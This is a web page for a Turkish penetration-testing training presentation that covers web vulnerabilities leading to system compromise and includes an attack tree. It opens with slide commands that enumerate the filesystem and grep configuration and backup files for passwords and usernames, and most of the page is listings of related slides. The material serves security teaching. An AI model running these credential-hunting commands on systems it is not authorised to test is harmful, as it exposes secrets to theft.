açıklıklarının araştırılması (devamı)
Dosya adı araştırma (örnek komutlar)
find / > dirlist-enum.txt 2>/dev/null
grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt
grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt
grep -i -E 'backup$|bck$|bak$|.old.*$' dirlist-enum.txt > backup-files-
enum.txt
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Dosya içeriklerinde ilginç veriler aranması (örnek komutlar)
ini dosyaları içinde geçen password ve username satırları
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d
b' 2>/dev/null
conf dosyaları içinde geçen password ve username satırları
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d
b' 2>/dev/null
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

More Related Content

What's hot

VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
BGA Cyber Security
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
BGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
BGA Cyber Security
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim Notları
BGA Cyber Security
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
BGA Cyber Security
 
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
BGA Cyber Security
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
BGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
BGA Cyber Security
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
BGA Cyber Security
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
BGA Cyber Security
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
BGA Cyber Security
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı Araçları
BGA Cyber Security
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
BGA Cyber Security
 

What's hot (20)

VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ INTERNET VE YEREL AĞ SIZMA TESTLERİ
INTERNET VE YEREL AĞ SIZMA TESTLERİ
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim Notları
 
Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
 
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
BackTrack Linux-101 Eğitimi
BackTrack Linux-101 EğitimiBackTrack Linux-101 Eğitimi
BackTrack Linux-101 Eğitimi
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı Araçları
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 

Similar to Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18
Cihan Özhan
 
İleri Seviye T-SQL Programlama - Chapter 13
İleri Seviye T-SQL Programlama - Chapter 13İleri Seviye T-SQL Programlama - Chapter 13
İleri Seviye T-SQL Programlama - Chapter 13
Cihan Özhan
 
Sql Injection
Sql Injection Sql Injection
Sql Injection
Mehmet Tuncer
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Securitymtimur
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
Ertugrul Akbas
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
Süleyman Özarslan
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation Yontemleri
Eyüp ÇELİK
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysis
Attaporn Ninsuwan
 
Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇Anar Godjaev
 
Web İçin Teknoloji Geliştirmek
Web İçin Teknoloji GeliştirmekWeb İçin Teknoloji Geliştirmek
Web İçin Teknoloji Geliştirmek
Volkan Özçelik
 
Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor? Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor?
Radore Veri Merkezi Hizmetleri A.Ş.
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-
Murat KARA
 
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
İbrahim ATAY
 
Kurumsal Yazılım Geliştirme ve Visual Studio 2008
Kurumsal Yazılım Geliştirme ve Visual Studio 2008Kurumsal Yazılım Geliştirme ve Visual Studio 2008
Kurumsal Yazılım Geliştirme ve Visual Studio 2008mtcakmak
 
Ozgur web teknolojileri'13
Ozgur web teknolojileri'13Ozgur web teknolojileri'13
Ozgur web teknolojileri'13
Mehmet Ince
 

Similar to Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3 (20)

İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18
 
Recep proje 5
Recep proje 5Recep proje 5
Recep proje 5
 
İleri Seviye T-SQL Programlama - Chapter 13
İleri Seviye T-SQL Programlama - Chapter 13İleri Seviye T-SQL Programlama - Chapter 13
İleri Seviye T-SQL Programlama - Chapter 13
 
Sql Injection
Sql Injection Sql Injection
Sql Injection
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Security
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation Yontemleri
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysis
 
Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇Veri̇tabani ve Kullanici Yöneti̇mi̇
Veri̇tabani ve Kullanici Yöneti̇mi̇
 
Php unit ve tdd
Php unit ve tddPhp unit ve tdd
Php unit ve tdd
 
Web İçin Teknoloji Geliştirmek
Web İçin Teknoloji GeliştirmekWeb İçin Teknoloji Geliştirmek
Web İçin Teknoloji Geliştirmek
 
Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor? Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor?
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-
 
Java EE Struts
Java EE StrutsJava EE Struts
Java EE Struts
 
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
ASP.Net MVC ile Web Uygulamaları -17(MVCContrib)
 
Kurumsal Yazılım Geliştirme ve Visual Studio 2008
Kurumsal Yazılım Geliştirme ve Visual Studio 2008Kurumsal Yazılım Geliştirme ve Visual Studio 2008
Kurumsal Yazılım Geliştirme ve Visual Studio 2008
 
Ozgur web teknolojileri'13
Ozgur web teknolojileri'13Ozgur web teknolojileri'13
Ozgur web teknolojileri'13
 

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri

BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi EğitimiBTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri
 

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri (20)

BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
Yazıcı Güvenliği
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Sizma testi bilgi toplama
 
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
Kali Linux Hakkında Herşey
 
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi EğitimiBTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 Yazılımı
 
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
 

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3

  • 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-3
  • 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  • 4. İÇERİK • Web Uygulama Açıklıklarının Önemi • Sistem Ele Geçirmeye Yol Açabilecek Web Uygulama Açıklıkları • Sistem Ele Geçirme Saldırı Ağacı • SQL Injection Senaryosu • Dizin Aşım Senaryosu • Dosya Yükleme Senaryosu • Web Saldırılarına Etki Eden Faktörler • SQLMAP Aracının Etkinliği
  • 5. WEB UYGULAMA AÇIKLIKLARININ ÖNEMİ Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz. Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur. Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.
  • 6. SİSTEM ELE GEÇİRMEYE YOL AÇABİLECEK WEB UYGULAMA AÇIKLIKLARI İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır): • SQL Injection • Dizin Aşım Açıklıkları • File Upload Riskleri • RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü) • (İşletim Sistemi) Command Injection • Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü) *Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
  • 7. SİSTEM ELE GEÇİRME SALDIRI AĞACI İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 8. SQL INJECTION SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
